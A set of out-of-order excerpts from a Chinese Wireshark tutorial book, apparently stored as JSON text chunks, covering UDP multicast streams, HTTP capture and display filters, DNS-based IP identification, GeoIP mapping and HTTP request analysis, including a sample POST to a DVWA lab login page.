as按钮，将弹出保存对话框，如图10.19所示。 图10.19 保存TCP流 在对话框中指定文本名，单击“保存”按钮，即可保存该UDP流。 未知 2.1 指定网络接口 一台计算机往往有多个网络接口。在捕获数据包之前，先需要指定捕获数据所使用的网络接口。在指定网络接口前，用户需要了解每种接口可以接收的数据包，才可以成功捕获到需要的数据包。本节将介绍网络接口种类及如何选择正确的网络接口。"},
    {"text": "未知 10.2.3 UDP多播流 对于UDP协议，通常需要对报文同时传往多个接收者，所以通常会应用多播。在Wireshark中提供了一个UDP多播流功能，可以用来查看UDP多播流信息。在菜单栏中，依次选择“分析”|“UDP多播流”命令，将打开“UDP多播流”对话框，如图10.20所示。 图10.20 “UDP多播流”对话框 在“UDP多播流”对话框中共包括12列，分别为源地址、源端口、目的地址、目的端口、分组、包/秒、平均带宽、最大带宽、最大突发、突发警报、最大缓冲区和缓冲区警报。其中，每列的具体含义如下： ·源地址：发送多播数据包的源地址。 ·源端口：发送多播数据包的源端口。 ·目的地址：发送多播数据包的目的地址。 ·目的端口：发送多播数据包的目的端口。 ·分组：发送多播的数据包数。 ·包/秒：每秒发送的多播数据包数。 ·平均带宽：发送多播数据包的平均速率。 ·最大带宽：发送多播数据包的最大速率。 ·最大突发：每毫秒发送的多播数据包数。 ·突发警报：发送多播数据包的突发警报数。 ·最大缓冲区：发送多播数据包的最大缓冲区。 ·缓冲区警报：发送多播数据包的缓冲区警报数。 在底部栏中，用户可以设置突发测量间隔、突发警报门槛包数、突发警报门槛大小、流清空速度和总清空速度。另外，用户在“显示过滤器”文本框中还可以使用显示过滤器，对UDP多播流进行显示过滤。用户通过单击“复制”或者“另存为”按钮，可以复制及保存UDP多播流。 通过对以上数据进行分析，可知道源地址为fe80::dae:11e7:cb2e:8cbd的主机，使用端口57443向目标地址为ff02::1:3的5355端口发送的多播数据包。其中，总共发送了2个分组，每秒19.96个包，平均带宽为13k/bps。 1.查看UDP多播流 【实例10-5】 显示过滤地址为192.168.80.130的UDP多播流。 （1）在UDP多播流对话框的显示过滤器文本框中输入显示过滤器ip.addr==192.168.80.130，如图10.21所示。 图10.21 使用显示过滤器 （2）单击“应用”按钮，将显示匹配其显示过滤器的UDP多播流，如图10.22所示。 图10.22 成功应用显示过滤器 （3）从地址栏中可以看到，成功过滤出了地址为192.168.80.130的UDP多播流。 2.保存UDP多播流 为了方便以后分析UDP多播流，可以将其保存起来。在UDP多播流对话框中，单击“复制”按钮，可以将整个UDP多播流粘贴到一个文本文件中。或者直接单击“另存为”按钮，保存该UDP多播流。 【实例10-6】 保存UDP多播流。 （1）在UDP多播流对话框中单击“另存为”按钮，将打开如图10.23所示的对话框。 图10.23 保存UDP多播流 （2）在其中指定保存位置和文件名。默认的保存类型为*.txt。例如，这里将其保存到桌面，文件名为udp。单击“保存”按钮，即可保存该UDP多播流。然后打开udp.txt文件，即可查看保存的UDP多播流，如图10.24所示。 图10.24 保存的UDP多播流 （3）从文档中可以看到，成功打开了之前保存的UDP多播流。 未知 第11章 HTTP协议数据包分析 HTTP是一个简单的请求/响应协议，通常运行在TCP之上。HTTP协议主要应用在Web服务中。当客户端与服务器通过TCP三次握手建立连接后，将使用HTTP协议发送请求，服务器接受请求后，根据请求返回相应的文件作为应答，最后客户端通过四次握手断开与服务器的连接。所以，如果想要知道客户端请求的信息，则需要对HTTP协议数据包进行分析。本章将详细讲解HTTP协议数据的相关内容。 未知 11.1 过滤数据包 当用户使用Wireshark的默认设置捕获数据包时，可能会捕获到太多的冗余信息。为了避免太多冗余的数据包影响对数据进行分析，用户可以使用捕获过滤器和显示过滤器。本节将介绍过滤HTTP协议数据包的方法。"},
    {"text": "未知 11.1.1 捕获过滤 当用户分析HTTP协议数据包时，为了避免有太多冗余信息影响对数据的分析，可以使用捕获过滤器。由于HTTP协议主要用于网站服务器传输数据，一般默认使用TCP端口80和443。其中，80端口通常用于HTTP协议传输；443端口通常用于HTTPS协议传输。所以用户可以使用端口TCP的80和443进行过滤。语法格式如下： tcp port 80 #捕获过滤TCP端口80的数据包 tcp port 443 #捕获过滤TCP端口443的数据包 【实例11-1】 捕获TCP端口443的数据包。具体操作步骤如下： （1）启动Wireshark，打开开始界面，如图11.1所示。 （2）在捕获过滤器文本框中输入捕获过滤器tcp port 443，并选择捕获接口。这里选择以太网接口，单击 （开始捕获分组）按钮开始捕获数据包，如图11.2所示。 图11.1 Wireshark的开始界面 图11.2 正在捕获数据包 （3）从Info列可以看到，所有的数据包都是源和目标端口为443的TCP数据包。从Protocol列可以看到，所有的数据包协议为TCP或TLSv1.3。其中，TLS协议表明目标网站服务器使用的协议为HTTPS，基于TCP端口443。所以，这里将捕获到TCP和TLS协议的包。 【实例11-2】 捕获TCP协议80端口的数据包。具体操作步骤如下： （1）启动Wireshark，并在捕获过滤器文本框中指定捕获过滤器tcp port 80，如图11.3所示。 图11.3 指定捕获过滤器 （2）选择接口以太网，并单击 （开始捕获分组）按钮，开始捕获数据包，如图11.4所示。 图11.4 正在捕获数据包 （3）从Info列可以看到，所有的数据包都是源或目标端口为80的数据包。从Protocol列可以看到，所有数据包的协议都为TCP和HTTP。其中，HTTP协议表示目标服务器使用的是HTTP协议，基于TCP的80端口，所以捕获到的包都为TCP和HTTP协议。 未知 11.1.2 显示过滤 通过使用捕获过滤器捕获到的数据包中还包括TCP协议的包。如果只需要分析HTTP或HTTPS协议的包，则可以对数据包进行显示过滤。其中，用于显示过滤HTTP协议和HTTPS协议包的显示过滤器如下： http #显示过滤HTTP协议包 tls #显示过滤HTTPS协议包 【实例11-3】 显示过滤HTTP协议的数据包。在显示过滤器文本框中输入http并单击按钮 ，即可应用该显示过滤器，如图11.5所示。 图11.5 显示过滤的数据包 从Protocol列可以看到，所有的数据包都是HTTP协议。由此可以说明，成功显示过滤了HTTP协议的数据包。 【实例11-4】 显示过滤HTTPS协议的数据包。在显示过滤器文本框中输入tls，单击 按钮，即可应用该显示过滤器，如图11.6所示。 从Protocol列可以看到，所有的数据包都是TLS协议。其中，v1.3表示协议的版本。由此可以说明，成功显示过滤了所有HTTPS协议的包。 为了方便用户对HTTP协议进行分析，下面将列举出一些常用的HTTP协议显示过滤器表达式，如表11.1所示。 图11.6 显示过滤器的数据包 表11.1 常用的显示过滤器 未知 11.2 IP地址分析 IP地址（Internet Protocol Address）是指互联网协议地址，又称为网际协议地址。IP地址是IP协议提供的一种统一的地址格式，它为互联网上的每一个网络和每一台主机分配一个逻辑地址，以此来屏蔽物理地址的差异。当客户端在访问一个网站服务器时，首先会通过DNS解析获取到目标服务器的IP地址，然后客户端才通过获取到的IP地址与服务器建立连接。通常情况下，对于一个大型网站服务器来说，可能有多个IP地址。因此，如果要分析客户端与对应服务器之间的数据包，首先需要确定服务器的IP地址后才可以继续进行分析。本节将对IP地址进行分析。 未知 11.2.1 结合DNS数据包分析 当客户端首次访问某个网站时，会向DNS服务器发送请求，以获取网站域名对应的IP地址。当用户捕获到数据包后，可以使用显示过滤器dns快速过滤出所有的DNS协议包，效果如图11.7所示。 图11.7 显示过滤DNS协议包 从Protocol列可以看到，成功过滤出了所有DNS协议的包。例如，这里分析DNS解析kali.daxueba.net服务器的IP地址。从Info列可以看到请求解析该域名的事务ID为0xae6e。其中，42帧是DNS查询请求；44帧是DNS响应请求包。此时，查看44帧的详细信息即可看到其IP地址。具体如下： Frame 44: 92 bytes on wire (736 bits), 92 bytes captured (736 bits) on interface 0 #帧摘要信息 Ethernet II, Src: Skyworth_53:e0:35 (70:85:40:53:e0:35), Dst: Giga-Byt_ c8:4c:89 (1c:6f:65:c8:4c:89) #以太网协议 Internet Protocol Version 4, Src: 192.168.1.1, Dst: 192.168.1.4 #IPv4协议 User Datagram Protocol, Src Port: 53, Dst Port: 59064 #UDP协议 Domain Name System (response) #DNS协议（响应） Transaction ID: 0xae6e #事务ID Flags: 0x8180 Standard query response, No error #标志 Questions: 1 #问题计数 Answer RRs: 1 #响应计数 Authority RRs: 0 #域名服务器计数 Additional RRs: 0 #额外计数 Queries #查询的信息 kali.daxueba.net: type A, class IN #域名信息 Answers #响应信息 kali.daxueba.net: type A, class IN, addr 112.121.182.166 #响应的域名地址 [Request In: 42] [Time: 0.044067000 seconds] 从以上的DNS部分信息可以看到，请求的域名为kali.daxueba.net，响应的地址为112.121.182.166。接下来，用户即可根据该IP地址分析客户端与服务器传输的对应数据包信息。"},
    {"text": "未知 11.2.2 结合DNS缓存 在一个主机中，如果客户端（浏览器）已经访问过某网站的话，DNS请求解析的地址将被缓存到浏览器或操作系统内核中。这样客户端再次访问该网站时，将不会再向DNS服务器发送请求，而是直接从本地缓存服务器中获取。所以用户也可以通过结合DNS缓存，来确定服务器的IP地址。下面将介绍查看浏览器或操作系统缓存的方法。 1.查看操作系统的缓存 在Windows系统中，用户可以使用ipconfig/displaydns命令查看操作系统的缓存。按Win+R组合键，打开“运行”对话框，如图11.8所示。 图11.8 “运行”对话框 在“打开”文本框中输入cmd命令，单击“确定”按钮，打开DOS命令行窗口，如图11.9所示。 图11.9 DOS命令行窗口 在该窗口中执行ipconfig/displaydns命令，即可显示所有缓存的DNS。由于系统中缓存的DNS条目较多，所以输出信息也比较多，这里简单列举两个DNS缓存记录。具体信息如下： C:\\Users\\Administrator>ipconfig /displaydns Windows IP 配置 www.sogou.com #搜狗 ---------------------------------------- 记录名称. . . . . . . : www.sogou.com 记录类型. . . . . . . : 1 生存时间. . . . . . . : 48 数据长度. . . . . . . : 4 部分. . . . . . . . . : 答案 A (主机)记录 . . ..: 111.202.102.51 记录名称. . . . . . . : www.sogou.com 记录类型. . . . . . . : 1 生存时间. . . . . . . : 48 数据长度. . . . . . . : 4 部分. . . . . . . . . : 答案 A (主机)记录 . . . : 111.202.100.49 记录名称. . . . . . . : www.sogou.com 记录类型. . . . . . . : 1 生存时间. . . . . . . : 48 数据长度. . . . . . . : 4 部分. . . . . . . . . : 答案 A (主机)记录 . . . : 111.202.103.60 记录名称. . . . . . . : www.sogou.com 记录类型. . . . . . . : 1 生存时间. . . . . . . : 48 数据长度. . . . . . . : 4 部分. . . . . . . . . : 答案 A (主机)记录 . . . : 111.202.101.46 sp0.baidu.com #百度 ---------------------------------------- 记录名称. . . . . . . : sp0.baidu.com 记录类型. . . . . . . : 5 生存时间. . . . . . . : 74 数据长度. . . . . . . : 8 部分. . . . . . . . . : 答案 CNAME 记录 . .: www.a.shifen.com 记录名称. . . . . . . : www.a.shifen.com 记录类型. . . . . . . : 1 生存时间. . . . . . . : 74 数据长度. . . . . . . : 4 部分. . . . . . . . . : 答案 A (主机)记录 . : 61.135.169.125 记录名称. . . . . . . : www.a.shifen.com 记录类型. . . . . . . : 1 生存时间. . . . . . . : 74 数据长度. . . . . . . : 4 部分. . . . . . . . . : 答案 A (主机)记录 . .: 61.135.169.121 从以上输出信息中可以看到本地缓存的DNS记录。例如，域名sp0.baidu.com有一个别名为 www.a.shifen.com 的两个IP地址。这两个IP地址分别为61.135.169.125和61.135.169.121。 2.查看浏览器的缓存 对于Chrome浏览器，用户在地址栏中输入chrome://net-internals/#dns即可查看浏览器的DNS缓存，如图11.10所示。 图11.10 浏览器中的DNS缓存记录 从Current State部分可以看到当前浏览器中缓存的所有DNS记录。例如，主机accounts.google.com缓存的IP地址为172.217.160.77；api.cpcwe.com缓存的IP地址为118.89.210.246等。 提示： 在Chrome 67.03396.79版本中，用户可以获取到DNS缓存记录。从Chrome 73.0版本开始则无法获取到DNS缓存信息，只显示一个清除主机缓存的按钮，如图11.11所示。 图11.11 清除主机缓存"},
    {"text": "未知 11.2.3 自动解析 Wireshark提供了自动解析功能，可以将IP地址解析为主机名。用户根据主机名也可以很方便地对客户端与服务器传输的数据进行分析。其中，用户可以分别设置在捕获阶段或分析阶段进行自动解析。下面将介绍具体的实现方法。 1.捕获阶段自动解析 捕获阶段自动解析，表示在捕获数据包的过程中会进行自动解析。在菜单栏中，依次选择“捕获”|“选项”命令，打开“捕获接口”对话框，如图11.12所示。 图11.12 “捕获接口”对话框 在该对话框中选择“选项”标签，将打开“选项”选项卡，如图11.13所示。 图11.13 “选项”选项卡 在其中勾选“解析网络名称”复选框，然后单击“开始”按钮，捕获数据包。在这个过程中，将会自动解析IP地址为主机名。 2.分析阶段自动解析 如果用户对已经捕获的数据包进行分析的话，也可以设置自动解析。在菜单栏中，依次选择“视图”|“解析名称”|“解析网络地址”命令，即可将IP地址解析为主机名。 【实例11-5】 在分析阶段设置自动解析，将IP地址解析为主机名。具体操作步骤如下： （1）打开捕获文件，将显示如图11.14所示的界面。 图11.14 捕获文件 （2）从图11.14所示窗口的Source和Destination列可以看到，所有包的源和目标地址都为IP地址。此时，在菜单栏依次选择“视图”|“解析名称”|“解析网络地址”命令，即可将IP地址解析为主机名，如图11.15所示。 图11.15 自动解析为主机名 （3）从Source和Destination列可以看到，所有的IP地址都被自动解析为主机名。这样方便用户看出客户端访问了哪个服务器，然后对它们传输的数据进行分析。 用户还可以启用缓存，以实现自动解析。在菜单栏依次选择“编辑”|“首选项”命令，打开“首选项”对话框，如图11.16所示。 图11.16 “首选项”对话框 然后选择Name Resolution项，将进入名称解析对话框，如图11.17所示。 在该对话框中勾选Use captured DNS packet data for address resolution复选框，表示使用DNS包进行地址解析；勾选Use an external network name resolver复选框，表示使用外部网络DNS解析器；勾选Only use the profile“hosts”file复选框，则表示仅使用Hosts文件。设置完成后，单击OK按钮，使配置生效。 图11.17 名称解析对话框"},
    {"text": "未知 11.2.4 地址位置信息 用户通过设置MaxMind GeoLite数据库，可以将IP地址转化为地理位置信息，将抽象的IP信息转化为地图信息。在菜单栏中，依次选择“编辑”|“首选项”命令，打开“首选项”对话框，然后选择Name Resolution项，将进入名称解析对话框，如图11.18所示。 图11.18 名称解析对话框 在其中单击MaxMind database directories对应的Edit按钮，将打开MaxMind数据库路径对话框，如图11.19所示。 图11.19 MaxMind数据库路径对话框 单击 按钮，即可添加MaxMind数据库目录。然后在菜单栏依次选择“分析”|“端点”命令，打开端点对话框，选择IPv4选项卡，将会发现新增加了4个地址位置列，如图11.20所示。 图11.20 端点对话框 从该对话框中可以看到新增加了4列，分别是Country（国家）、City（城市）、AS Number（自治系统号码）和AS Organization（自治系统组织）。 1.查看IP地址的具体位置信息 当用户成功添加一个MaxMind数据库后，即可将IP地址的位置信息映射到一个地图中。下面介绍如何查看IP地址的具体位置信息。 【实例11-6】 添加MaxMind数据库目录，并在地图中映射某IP地址的具体位置信息。具体操作步骤如下： （1）从 https://dev.maxmind.com/geoip/geoip2/geolite2/ 网站下载免费的GeoLite数据库文件。在浏览器中成功访问该网站后，将显示如图11.21所示的界面。 图11.21 下载GeoLite数据库文件 （2）在该界面的Downloads部分，可以看到提供的数据库文件包括GeoLite2City（城市）、GeoLite2Country（国家）和GeoLite2 ASN（自治系统编号）。这里单击MaxMind DB binary,gzipped列中的Download按钮，依次下载这3个文件。下载后的文件名分别为GeoLite2-City_20190709.tar.gz、GeoLite2-Country_20190709.tar.gz和GeoLite2-ASN_20190709.tar.gz。然后分别解压这3个压缩包，将得到GeoLite2-City.mmdb、GeoLite2-Country.mmdb和GeoLite2-ASN.mmdb 3个文件。这3个文件分别包含了IP地址的城市、国家及自治系统编号等信息。此时，在本地磁盘上创建一个maxmind目录，并且把解压出来的3个文件都放在该目录中。 （3）在菜单栏依次选择“编辑”|“首选项”|Name Resolution|MaxMind database directories对应的Edit按钮，打开添加MaxMind数据库目录的对话框，如图11.22所示。 图11.22 MaxMind数据库路径对话框 （4）在其中单击 按钮，指定maxmind目录的路径，如图11.23所示。 图11.23 指定MaxMind数据库路径 （5）此时，单击OK按钮使配置生效。然后在菜单栏中依次选择“统计”|“端点”命令打开端点对话框，选择IPv4选项卡，如图11.24所示。 图11.24 端点对话框 （6）从该对话框中可以看到，Country（国家）、City（城市）、AS Number（自治系统编号）和AS Organization（自治系统组织）列显示了IP地址的位置信息。例如，IP地址223.167.166.57所在的国家为China、城市为Shanghai、自治系统编号为17621、自治系统组织为China Unicom Shanghai network。为了使用户更清楚地看到IP地址的位置信息，可以将这些IP地址位置映射在一个地图中来查看。用户单击“映射”按钮，可以选择“在浏览器中打开”或者Save As（保存）映射端点位置信息。例如，在浏览器中查看IP地址的具体位置信息，选择“映射”|“在浏览器中打开”命令，将在浏览器底部出现一个安全警告对话框，如图11.25所示。 图11.25 警告对话框 （7）单击“允许阻止的内容（A）”按钮，将会在一个世界地图中显示所有IP地址的具体位置信息。 2.保存IP地址位置信息 为了方便用户以后进行查看及分析IP地址位置信息，用户可以将该地图保存到一个文件中。在端点对话框中单击“映射”|Save As命令，将弹出“保存端点映射”对话框，如图11.26所示。 图11.26 “保存端点映射”对话框 在对话框中指定端点映射保存的位置和文件名。这里支持的文件类型格式有两种，分别是*.html和*.json。其中，默认文件类型为*.html，文件名为ipmap.html。这里使用默认的文件名，并指定保存到桌面。然后单击“保存”按钮，即可将该端点映射到保存的桌面。这样，如果用户想要查看的话，直接打开ipmap.html文件即可。"},
    {"text": "未知 2.1.1 接口种类 Wireshark提供了3种接口类型，分别是本地接口、管道接口和远程接口。用户通过指定不同类型的接口，可以捕获不同设备的数据包。下面将分别介绍这3种接口。 1.本地接口 本地接口就是本地网络主机固有的接口，如以太网接口、本地回环接口等。使用本地接口只能捕获经过本地网络接口的数据包。在Wireshark的菜单栏中依次选择“捕获”|“选项”命令，打开“捕获接口”对话框，如图2.1所示。 在“捕获接口”对话框中单击“管理接口”按钮，打开“管理接口”对话框，如图2.2所示。 “管理接口”对话框包括3个选项卡，分别是“本地接口”“管道”“远程接口”选项卡。其中，“本地接口”选项卡显示扫描到的所有本地接口；“管道”选项卡显示管道接口；“远程接口”选项卡显示远程接口。从该对话框中可以看到所有的本地接口，默认都将显示。如果用户不希望显示某个接口，将“显示”列复选框中的对勾取消即可。 图2.1 “捕获接口”对话框 图2.2 “管理接口”对话框 2.管道接口 管道接口就是通过使用管道的方式，将一个工具输出的数据发送给Wireshark，进而捕获到对应的数据包。例如，如果用户所在的位置不能使用Wireshark捕获数据，可以借助其他命令行（如tcpdump和dumpcap等）工具来捕获数据包。然后使用管道接口方式，将捕获到的数据发送给Wireshark。 3.远程接口 远程接口是指远程客户端通过网络将数据传递给本地接口。用户只要在远程主机上安装相应的rpcapd服务，就可以实现在本地计算机上执行Wireshark，捕获远程计算机的流量。 未知 11.2.5 网站汇总 在Wireshark菜单栏中，依次选择“统计”|“已解析的地址”命令，即可查看所有被解析的地址汇总信息，如图11.27所示。 从图11.27所示的对话框中可以看到已解析的地址。用户单击右下角的“显示”按钮，可以指定显示的地址信息，如图11.28所示。地址名称前面有对勾，表示默认显示该地址信息。从图11.28所示的菜单中可以看到，默认没有显示IPv4和IPv6哈希表。如果想要显示所有的地址，则单击“显示全部”命令即可。 图11.27 已解析的地址 图11.28 快捷菜单 未知 11.2.6 编辑解析的名称 在Wireshark中，可以设置自动解析。如果自动解析的结果不是很准确的话，用户可以编辑解析的名称。在分组列表中右击分组，将弹出一个快捷菜单，如图11.29所示。 在快捷菜单中，选择“编辑解析的名称”命令，将弹出编辑解析的名称工具栏，如图11.30所示。 在工具栏中单击“地址”下拉按钮，即可在下拉列表框中切换源或目标地址。在“名称”文本框中，输入要修改的名称，然后单击OK按钮，使配置生效。 图11.29 快捷菜单栏 图11.30 编辑解析的名称工具栏 【实例11-7】 编辑分组46解析的名称，修改kdkdahjd61y369j为localhost。具体操作步骤如下： （1）在分组列表中右击分组46，然后选择“编辑解析的名称”命令，将弹出编辑解析的名称工具栏，如图11.31所示。 图11.31 工具栏 （2）从分组列表中可以看到，分组46其源地址解析的名称为kdkdahjd61y369j，目标地址解析的名称为kali.daxueba.net。这里修改地址（192.168.1.4）解析的名称为localhost并单击OK按钮，效果如图11.32所示。 图11.32 成功修改解析的名称 （3）从该窗口中可以看到，成功将解析的名称kdkdahjd61y369j修改为localhost。 未知 11.3 请求分析 当用户确定目标服务器的IP地址后，即可快速地找到对应的数据包，然后对客户端请求的信息进行分析，以获取客户端请求的信息，如请求目标、传递的数据及请求端类型等。本节将对HTTP请求进行分析。"},
    {"text": "未知 11.3.1 请求概要 在对HTTP请求分析之前，对请求概要做一个简单介绍，如请求产生的方式，以及查看请求统计信息。 1.请求产生的方式 当客户端向服务器发送请求时，请求产生的方式有两种，分别是初始请求和连带请求。这两种请求方式的区别如下： ·初始请求：用户在浏览器中访问指定的网址，或者应用程序自己请求。 ·连带请求：网址中包含其他资源URL，进一步加载产生的请求。 2.统计分析 Wireshark提供了一个HTTP请求统计功能，用户可以查看每个HTTP请求的包数。在菜单栏中，依次选择“统计”|HTTP|“请求”命令，打开请求对话框，如图11.33所示。 图11.33 请求对话框 在该对话框中共包括9列，分别为Topic/Item（标题/项目）、Count（分组数）、Average（平均分组数）、Min val（最小分组数）、Max val（最大分组数）、Rate(ms)（速率）、Percent（分组数所占百分比）、Burst rate（突发速率）和Burst start（突发启动时间）。其中，每列的含义如下： ·Topic/Item：显示所有的HTTP请求。 ·Count：显示每个HTTP请求对应的包数。 ·Average：显示每个HTTP请求的平均值。 ·Min val：显示每个HTTP请求的最小值。 ·Max val：显示每个HTTP请求的最大值。 ·Rate(ms)：显示每个HTTP请求的传输速率。 ·Percent：显示每个HTTP请求所占百分比。 ·Burst rate：显示每个HTTP请求每毫秒发送的最大数据包数。 ·Burst start：显示每个HTTP请求发送最大数据包的时间。 从以上信息中可以看到，kali.daxueba.net请求共包括9个包，传输的速率为0.0002，占所有HTTP请求的19.15%；该请求每毫秒发送的最大数据包数为0.0400；发送最大数据包的实际为5.372ms。 Wireshark中还提供了一个HTTP请求序列统计功能。该功能将所有请求进行了归类，从中可以了解到一个网址的初始请求和连带请求。在菜单栏中依次选择“统计”|HTTP|“请求序列”命令，将打开请求序列对话框，如图11.34所示。 图11.34 请求序列对话框 在该对话框中共包括9列，分别为Topic/Item（标题/项目）、Count（分组数）、Average（平均分组数）、Min val（最小分组数）、Max val（最大分组数）、Rate(ms)（速率）、Percent（分组数所占百分比）、Burst rate（突发速率）和Burst start（突发启动时间）。其中，每列的含义如下： ·Topic/Item：显示所有的HTTP请求序列。 ·Count：显示每个HTTP请求序列对应的包数。 ·Average：显示每个HTTP请求序列的平均值。 ·Min val：显示每个HTTP请求序列的最小值。 ·Max val：显示每个HTTP请求序列的最大值。 ·Rate(ms)：显示每个HTTP请求序列的传输速率。 ·Percent：显示每个HTTP请求序列所占百分比。 ·Burst rate：显示每个HTTP请求序列每毫秒发送的最大数据包数。 ·Burst start：显示每个HTTP请求序列发送最大数据包的时间。 从以上信息中可以看到， http://kali.daxueba.net/ 为一个初始请求； http://kali.daxueba.net/?p=1917 为一个连带请求。其中 http://kali.daxueba.net/?p=1917 请求的分组数共3个，所占初始请求的百分比为20%，发包速率为0.0001。"},
    {"text": "未知 11.3.2 请求目标 用户通过分组详情面板可以查看请求的目标，如请求方式、主机名和URI等。为了快速分析客户端请求的目标，这里将使用显示过滤器http过滤数据包，效果如图11.35所示。 图11.35 所有HTTP数据包 从图11.35中可以看到，显示出了所有HTTP协议数据包。例如，这里查看分组52请求的目标信息，详细信息如下。 Frame 52: 621 bytes on wire (4968 bits), 621 bytes captured (4968 bits) on interface 0 #帧摘要信息 Ethernet II, Src: Giga-Byt_c8:4c:89 (1c:6f:65:c8:4c:89), Dst: Skyworth_ 53:e0:35 (70:85:40:53:e0:35) #以太网协议 Internet Protocol Version 4, Src: 192.168.1.4, Dst: 112.121.182.166 #IP协议 Transmission Control Protocol, Src Port: 23446, Dst Port: 80, Seq: 1, Ack: 1, Len: 567 #TCP协议 Hypertext Transfer Protocol #HTTP协议 GET / HTTP/1.1\\r\\n #请求方法及协议版本 [Expert Info (Chat/Sequence): GET / HTTP/1.1\\r\\n] #专家信息 Request Method: GET #请求方法 Request URI: / #请求的网址 Request Version: HTTP/1.1 #请求的版本 Host: kali.daxueba.net\\r\\n #主机名 Connection: keep-alive\\r\\n #保持长连接 Upgrade-Insecure-Requests: 1\\r\\n User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36\\r\\n #用户代理（UA） Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/ webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\\r\\n #可接收的MIME类型资源 Accept-Encoding: gzip, deflate\\r\\n #支持的编码格式 Accept-Language: zh-CN,zh;q=0.9\\r\\n #支持的语言 Cookie: wp-settings-1=libraryContent%3Dbrowse%26align%3Dleft%26 wplink%3D1%26editor%3Dtinymce%26posts_list_mode%3Dlist; wp-settings- time-1=1558664958\\r\\n #Cookie信息 \\r\\n [Full request URI: http://kali.daxueba.net/] #完整的请求网址 [HTTP request 1/1] [Response in frame: 122] #响应帧 从分组详情中即可看到客户端请求的目标信息。通过分析该分组详情可知，客户端使用的请求方式为GET，使用的协议版本为HTTP/1.1，请求的主机名为kali.daxueba.net，完整的网址为 http://kali.daxueba.net/ 。此时双击该网址，即可看到对应的网页内容，如图11.36所示。 图11.36 请求的网页"},
    {"text": "未知 11.3.3 URL数据传递 当客户端向网站服务器请求数据时，通常使用GET或POST两种方式。如果使用GET请求方式，客户端请求的信息则包括在URL地址中。如果使用POST方式请求数据的话，提交的信息是通过表单传递给服务器。下面将分析通过URL数据传递请求的包信息。 对于使用URL传递数据的方式，客户端请求的内容为问号后面的值。为了快速找到使用GET请求方式提交的请求，可以使用显示过滤器http.request.method==GET进行过滤，效果如图11.37所示。 图11.37 URL数据传递 这里主要分析Info列的信息。其中，问号前面的内容为请求的网址，问号后面的内容为客户端提交的内容。例如，这里分析392帧，包详细信息为GET/?p=1917 HTTP/1.1。通过分析该详细信息可知，客户端请求的内容为1917段落。 使用URL网址传递数据时，只能使用ASCII字符集表示英文字母、阿拉伯数字和某些标点符号，而不能使用其他文字和符号。如果URL中包含了ASCII字符集之外的字符（如汉字或空格），则需要进行编码，将其转换为ASCII字符集支持的字符。如果想要知道客户端请求的原始信息，则需要对其进行解码。例如，这里在百度站点中搜索了“Wireshark使用教程入门”关键词，请求的网址如下： https://www.baidu.com/s?wd=wireshark%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8 B%E5%85%A5%E9%97%A8&rsv_spt=1&rsv_iqid=0xcd91f25300137e66&issp=1&f=3&rsv_ bp=1&rsv_idx=2&ie=utf-8&rqlang=cn&tn=93308895_hao_pg&rsv_enter=1&oq= Wireshark%25E6%2595%2599%25E7%25A8%258B&rsv_t=df35gJH%2B%2Bi9emDtAqTPl% 2Fobrg%2B535GwnmguK9xyvcxRdAIQx%2BrPHA2%2BSTPh9PmPZXyoFsKNw&inputT=85262 &rsv_pq=ddeb9a5a0002889c&rsv_sug3=69&rsv_sug1=29&rsv_sug7=100&rsv_sug2= 1&prefixsug=Wireshark%25E4%25BD%25BF%25E7%2594%25A8%25E6%2595%2599%25E7 %25A8%258B&rsp=0&rsv_sug4=86552 在以上网址中，wd后面的内容是用户提交的请求，即传递的数据。用户可以发现，该请求进行了编码。如果想要查看原始信息，则需要进行解码。下面将在 http://tool.chinaz.com/Tools/urlencode.aspx 网站，进行在线URL解码。在浏览器中访问该网站后，将显示如图11.38所示的界面。 图11.38 URL编码/解码 从中可以看到，用户可以进行Unicode编码、UTF-8编码、URL编码/解码等。这里选择对前面的URL网址进行解码，即wd后面的值。在URL编码/解码下面的文本框中输入解码的内容，如图11.39所示。 图11.39 指定要解码的内容 此时，单击“UrlEncode解码”按钮，即可显示解码后的结果，如图11.40所示。 图11.40 解码成功 从图11.40中可以看到已经解码成功。其中，解码后的内容为Wireshark使用教程入门。"},
    {"text": "未知 11.3.4 表单数据传递 在HTTP请求中，通过POST方式提交的请求将使用表单传递数据。例如，用户注册账号或者登录一个站点时，通常使用表单传递数据。下面将以登录DVWA服务器的捕获包为例，分析使用表单传递的数据。 为了快速找到通过表单传递的数据，可以使用显示过滤器http.request.method==POST进行过滤，结果如图11.41所示。 图11.41 表单数据传递 从Info列可以看到，过滤出的数据包使用的请求方式为POST。此时，通过从分组详情中即可获取到传递的数据。例如，这里分析下分组169的包详细信息。具体信息如下： Frame 169: 622 bytes on wire (4976 bits), 622 bytes captured (4976 bits) on interface 0 #帧摘要信息 Ethernet II, Src: Vmware_79:95:9e (00:0c:29:79:95:9e), Dst: Vmware_bd: 06:d0 (00:0c:29:bd:06:d0) #以太网协议 Internet Protocol Version 4, Src: 192.168.80.129, Dst: 192.168.80.134 #IPv4协议 Transmission Control Protocol, Src Port: 45898, Dst Port: 80, Seq: 2135, Ack: 17886, Len: 556 #TCP协议 Hypertext Transfer Protocol #HTTP协议 POST /dvwa/login.php HTTP/1.1\\r\\n #请求方式 [Expert Info (Chat/Sequence): POST /dvwa/login.php HTTP/1.1\\r\\n] #专家信息 Request Method: POST #请求方法 Request URI: /dvwa/login.php #请求的URI Request Version: HTTP/1.1 #请求版本 Host: 192.168.80.134\\r\\n #主机名 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0\\r\\n #请求端类型 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q= 0.8\\r\\n #可接受的MIME类型资源 Accept-Language: en-US,en;q=0.5\\r\\n #支持的语言 Accept-Encoding: gzip, deflate\\r\\n #支持的编码格式 Referer: http://192.168.80.134/dvwa/login.php\\r\\n #网页来源 Content-Type: application/x-www-form-urlencoded\\r\\n #内容类型 Content-Length: 44\\r\\n #内容长度 Cookie: security=high; PHPSESSID=73c205f971859972a08f8f44a31abcd5\\r\\n #Cookie信息 Connection: keep-alive\\r\\n #保持长连接 Upgrade-Insecure-Requests: 1\\r\\n \\r\\n [Full request URI: http://192.168.80.134/dvwa/login.php] #完整的请求URI [HTTP request 7/15] 